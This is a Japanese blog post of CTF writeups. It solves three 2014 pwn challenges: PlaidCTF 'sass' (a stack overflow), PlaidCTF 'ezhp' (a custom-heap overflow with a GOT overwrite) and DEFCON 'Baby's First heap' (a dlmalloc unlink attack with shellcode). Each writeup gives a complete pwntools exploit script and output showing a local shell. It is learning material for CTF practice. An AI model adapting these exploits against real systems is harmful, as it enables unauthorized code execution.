h_nosonの日記

競プロ、CTFなど

pwn challenges list easy writeup その5

前回

[PlaidCTF 2014] sass - Pwnables200

ELF 32-bit、動的リンク、NXとPIE有効。

% file sass-3b23e61c9defaf34f7111ba425f12208
sass-3b23e61c9defaf34f7111ba425f12208: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=14620269dbd6ecd23869f318d6b64fa4b550bdec, not stripped
% checksec -f sass-3b23e61c9defaf34f7111ba425f12208
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes     2               4    sass-3b23e61c9defaf34f7111ba425f12208

ソートをするプログラム。

ubuntu-xenial% ./sass-3b23e61c9defaf34f7111ba425f12208
Sorting as a service!
Enter your numbers:
1
5
2

Sorting...
OK, here you are:
0x00000001
0x00000002
0x00000005
Thank you, come again!

数値を入力するときにスタック上のバッファに値を入れていくが、その個数に制限がないためBOFを起こせる。また、数値はバッファに代入されるのではなく加算されているため、libcなどのアドレスをリークしなくてもスタック上にある値を使って好きなアドレスを使うことができる。ソートされることを利用して戻り番地をsystemに変え、引数の部分を/bin/shへのポインタにすることでシェルを起動した。

#!/usr/bin/env python
from pwn import *

def gen(vec):
    return '\n'.join(map(str,vec)) + '\n\n'

if __name__ == '__main__':
    s = process('./sass-3b23e61c9defaf34f7111ba425f12208')

    system_offset = 0x3a940
    sh_str = 0x15900b

    payload = '\n'.join(map(str,[1<<31] * 32 + [(1<<32)-0x1b03dc+sh_str-1,1<<31,1<<31,1<<31,(1<<32)-0x1b0000+system_offset,(1<<32)-0x1b0000+sh_str,1<<31,(1<<32)-(1<<30),1<<31,(1<<32)-(1<<30)])) + '\n\n'
    s.send(payload)
    s.recvuntil('again!\n')
    s.interactive()
% ./exploit.py
[+] Starting local process './sass-3b23e61c9defaf34f7111ba425f12208': pid 7533
[*] Switching to interactive mode
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)

[PlaidCTF 2014] ezhp - Pwnables200

ELF32-bit、動的リンク、Partial RELRO、SSPとNX無効。

% file ezhp
ezhp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=76bda55f976430db3bea49b59ecd66040527fa9a, stripped
% checksec -f ezhp
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No      0               1    ezhp

ノートを管理するプログラム。

% ./ezhp
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.

このプログラムでは独自のmallocを使っている。すべてのchunkを1つのリストで管理していて、それぞれのノードには「サイズ」、「次のノードへのポインタ」、「前のノードへのポインタ」、「データ」が格納されている。サイズの1bit目は使用中かどうかのフラグがある。mallocするときは「次のノードへのポインタ」を辿っていって、必要なサイズ以上かつサイズの1bit目が0であるchunkを探し、領域を切り取って返す。

ノートの書き換えの部分でオーバーフローの脆弱性があるため、次のchunkを上書きすることができ、「次のノードへのポインタ」を書き換えることができる。これによってノートの配列が格納されているアドレスをmallocで返すようにし、ノートのアドレスをputsのGOTに書き換えてsystemに上書きし、シェルを起動する。

#!/usr/bin/env python
from pwn import *

def add(size):
    s.sendlineafter('option.\n','1')
    s.sendlineafter('size.\n',str(size))

def remove(_id):
    s.sendlineafter('option.\n','2')
    s.sendlineafter('id.\n',str(_id))

def modify(_id,data):
    s.sendlineafter('option.\n','3')
    s.sendlineafter('id.\n',str(_id))
    s.sendlineafter('size.\n',str(len(data)))
    s.sendlineafter('data.\n',data)

def show(_id):
    s.sendlineafter('option.\n','4')
    s.sendlineafter('id.\n',str(_id))

if __name__ == '__main__':
    s = process('./ezhp')
    elf = ELF('./ezhp')
    libc = ELF('/lib32/libc.so.6')

    add(1)
    add(1)
    add(1)
    add(1)
    add(1)
    modify(0,'A' * 0xc + p32(1) + p32(0x804a064))
    add(1)
    modify(5,p32(elf.got['puts']))
    show(4)
    libc_base = u32(s.recvline(False)[:4]) - libc.symbols['puts']
    log.info('libc base: %#x' % libc_base)
    modify(0,'/bin/sh\0')
    modify(4,p32(libc_base + libc.symbols['system']))
    s.sendline('4')
    s.sendline('0')
    s.interactive()
% ./exploit.py
[+] Starting local process './ezhp': pid 23006
[*] '/program/ctf/pwn/easy/ezhp/ezhp'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] '/lib32/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] libc base: 0xf75d7000
[*] Switching to interactive mode
sh: 1: Please: not found
sh: 1: 1: not found
sh: 1: 2: not found
sh: 1: 3: not found
sh: 1: 4: not found
sh: 1: 5: not found
sh: 1: Please: not found
sh: 1: Please: not found
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
$

[DEFCON CTF 2014] Baby's First: 1 - heap

ELF 32-bit、動的リンク、SSP無効、NX有効。

ubuntu-xenial% file babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c
babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5, not stripped
ubuntu-xenial% checksec babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c
[*] '/program/ctf/pwn/easy/heap/babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ubuntu-xenial% ./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=8C60008][size=1246]
[ALLOC][loc=8C604F0][size=1121]
[ALLOC][loc=8C60958][size=947]
[ALLOC][loc=8C60D10][size=741]
[ALLOC][loc=8C61000][size=706]
[ALLOC][loc=8C612C8][size=819]
[ALLOC][loc=8C61600][size=673]
[ALLOC][loc=8C618A8][size=1004]
[ALLOC][loc=8C61C98][size=952]
[ALLOC][loc=8C62058][size=755]
[ALLOC][loc=8C62350][size=260]
[ALLOC][loc=8C62458][size=877]
[ALLOC][loc=8C627D0][size=1245]
[ALLOC][loc=8C62CB8][size=1047]
[ALLOC][loc=8C630D8][size=1152]
[ALLOC][loc=8C63560][size=1047]
[ALLOC][loc=8C63980][size=1059]
[ALLOC][loc=8C63DA8][size=906]
[ALLOC][loc=8C64138][size=879]
[ALLOC][loc=8C644B0][size=823]
Write to object [size=260]:
hoge
Copied 5 bytes.
[FREE][address=8C60008]
[FREE][address=8C604F0]
[FREE][address=8C60958]
[FREE][address=8C60D10]
[FREE][address=8C61000]
[FREE][address=8C612C8]
[FREE][address=8C61600]
[FREE][address=8C618A8]
[FREE][address=8C61C98]
[FREE][address=8C62058]
[FREE][address=8C62350]
[FREE][address=8C62458]
[FREE][address=8C627D0]
[FREE][address=8C62CB8]
[FREE][address=8C630D8]
[FREE][address=8C63560]
[FREE][address=8C63980]
[FREE][address=8C63DA8]
[FREE][address=8C64138]
[FREE][address=8C644B0]
Did you forget to read the flag with your shellcode?
Exiting

Welcome to your first heap overflow... heap overflowができるらしい。また、Using Dougle Lee Allocator 2.6.1... とわざわざバージョンを示してくるということはmalloc脆弱性かもしれない。Dougle Lee Allocator 2.6.1 で調べるとwriteupがたくさんヒットする…。malloc 2.6.1で調べると http://gee.cs.oswego.edu/pub/misc/malloc-2.6.1.c が見つかったので、読んでみる。freeは簡潔に書かれているので読みやすい。

void free(Void_t* mem)
{
  if (mem != 0)              /* free(0) has no effect */
  {
    mchunkptr p = mem2chunk(mem);
    size_t sz = chunksize(p);
    mchunkptr next;

    check_inuse_chunk(p);

    if (!prev_inuse(p))      /* consolidate backward */
    {
      mchunkptr previous = prev_chunk(p);
      sz += chunksize(previous);
      unlink(previous);
      p = previous;
    }

    next = chunk_at_offset(p, sz);

    if (next == top)         /* merge with top */
    {
      sz += chunksize(next);
      set_head(p, sz | PREV_INUSE);
      top = p;
      /* If top is too big, call malloc_trim  */
      if ((unsigned long)sz >= (unsigned long)TRIM_THRESHOLD) 
        malloc_trim(); 
    }
    else                     /* Place in a bin */
    {
      mbinptr bin;
      int idx;

      clear_inuse_bit_at_offset(p, sz);

      if (!inuse(next))      /* consolidate forward */
      {
        sz += chunksize(next);
        unlink(next);
      }
      set_sizes(p, sz);

      idx = bin_index(sz);
      mark_binblock(idx);
      bin = &(av[idx]);
      frontlink(bin, p);
      check_free_chunk(p);
    }
  }
}

前か後ろのchunkが使われていない場合、unlinkが行われて今freeされているchunkと結合されるが、このバージョンのunlinkのマクロではFul->bk->fd == Bul->fd->bkの判定が行われていない。よって簡単にunlink attackを行える。

#define unlink(p)                                                             \
{                                                                             \
  mchunkptr Bul = (p)->bk;                                                    \
  mchunkptr Ful = (p)->fd;                                                    \
  Ful->bk = Bul;  Bul->fd = Ful;                                              \
}                                                                             \

また、heap領域が実行可能になっている。

gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x0804b000 r-xp      /program/ctf/pwn/easy/heap/babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c
0x0804b000 0x0804c000 r--p      /program/ctf/pwn/easy/heap/babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c
0x0804c000 0x0804d000 rw-p      /program/ctf/pwn/easy/heap/babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c
0x0984a000 0x09850000 rwxp      [heap]
0xf7516000 0xf7517000 rw-p      mapped
0xf7517000 0xf76c4000 r-xp      /lib32/libc-2.23.so
0xf76c4000 0xf76c5000 ---p      /lib32/libc-2.23.so
0xf76c5000 0xf76c7000 r--p      /lib32/libc-2.23.so
0xf76c7000 0xf76c8000 rw-p      /lib32/libc-2.23.so
0xf76c8000 0xf76cc000 rw-p      mapped
0xf76dd000 0xf76e0000 r--p      [vvar]
0xf76e0000 0xf76e1000 r-xp      [vdso]
0xf76e1000 0xf7703000 r-xp      /lib32/ld-2.23.so
0xf7703000 0xf7704000 rw-p      mapped
0xf7704000 0xf7705000 r--p      /lib32/ld-2.23.so
0xf7705000 0xf7706000 rw-p      /lib32/ld-2.23.so
0xfff7e000 0xfff9f000 rw-p      [stack]

プログラム全体の流れは以下のようになっており、最後に呼び出されるexit_funcをunlink attackでheapのアドレスに書き換え、shellcodeを実行する。

typedef struct {
    char *buf;
    int size;
} chunk;

(void (*)(int n)) exit_func; // 0x804c8ac

int main(void) {
    setvbuf(stdout,0,2,0);
    signal(0xe,sig_alarm_handler);
    alarm(0x5a);
    mysrand(0x1234);
    puts("\nWelcome to your first heap overflow...");
    puts("I am going to allocate 20 objects...");
    puts("Using Dougle Lee Allocator 2.6.1...\nGoodluck!\n");
    exit_func = do_exit;
    printf("Exit function pointer is at %X address.\n",exit_func);

    chunk list[20]; // esp+0x10
    for (int i = 0; i < 20; i++) {
        int size = randrange(0x200,0x500);
        if (i == 10) size = 0x104;
        list[i]->buf = malloc(size);
        list[i]->size = size;
        printf("[ALLOC][loc=%X][size=%d]\n",list[i]->buf,size);
    }
    printf("Write to object [size=%d]:\n",list[10]->size);
    char buf[0x1000]; // esp+0x330
    int len = get_my_line(buf,0x1000);
    memcpy(list[10]->buf,buf,len);
    printf("Copied %d bytes.\n",len);
    for (int i = 0; i < 20; i++) {
        printf("[FREE][address=%X]\n",list[i]->buf);
        free(list[i]->buf);
    }
    exit_func(1);
    return 0;
}
#!/usr/bin/env python
from pwn import *
import re

if __name__ == '__main__':
    s = process('./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c')

    context(os = 'linux', arch = 'x86')

    s.recvuntil('address.\n')
    table = []
    for i in range(20):
        m = re.match(r'.*=([0-9A-F]*)].*=([0-9A-F]*)',s.recvline())
        addr = int(m.group(1),16)
        size = int(m.group(2))
        table.append((addr,size))

    exit_func = 0x804c8ac

    shellcode = '\xeb\x0b'.ljust(0xd,'A') + asm(shellcraft.sh())

    payload = ''
    payload += 'A' * 8
    payload += shellcode
    payload = payload.ljust(0x104,'A')
    payload += p32(0x81) # freeされるchunk
    payload += 'A' * 0x7c
    payload += p32(0x81) # size
    payload += p32(exit_func - 0x8) # fd
    payload += p32(table[10][0] + 0x8) # bk
    payload += 'A' * 0x70
    payload += p32(0x80) * 2 # prev not in use

    s.sendline(payload)
    s.interactive()
ubuntu-xenial% ./exploit.py
[+] Starting local process './babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c': pid 9733
[*] Switching to interactive mode
Write to object [size=260]:
Copied 521 bytes.
[FREE][address=82EE008]
[FREE][address=82EE4F0]
[FREE][address=82EE958]
[FREE][address=82EED10]
[FREE][address=82EF000]
[FREE][address=82EF2C8]
[FREE][address=82EF600]
[FREE][address=82EF8A8]
[FREE][address=82EFC98]
[FREE][address=82F0058]
[FREE][address=82F0350]
[FREE][address=82F0458]
[FREE][address=82F07D0]
[FREE][address=82F0CB8]
[FREE][address=82F10D8]
[FREE][address=82F1560]
[FREE][address=82F1980]
[FREE][address=82F1DA8]
[FREE][address=82F2138]
[FREE][address=82F24B0]
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
$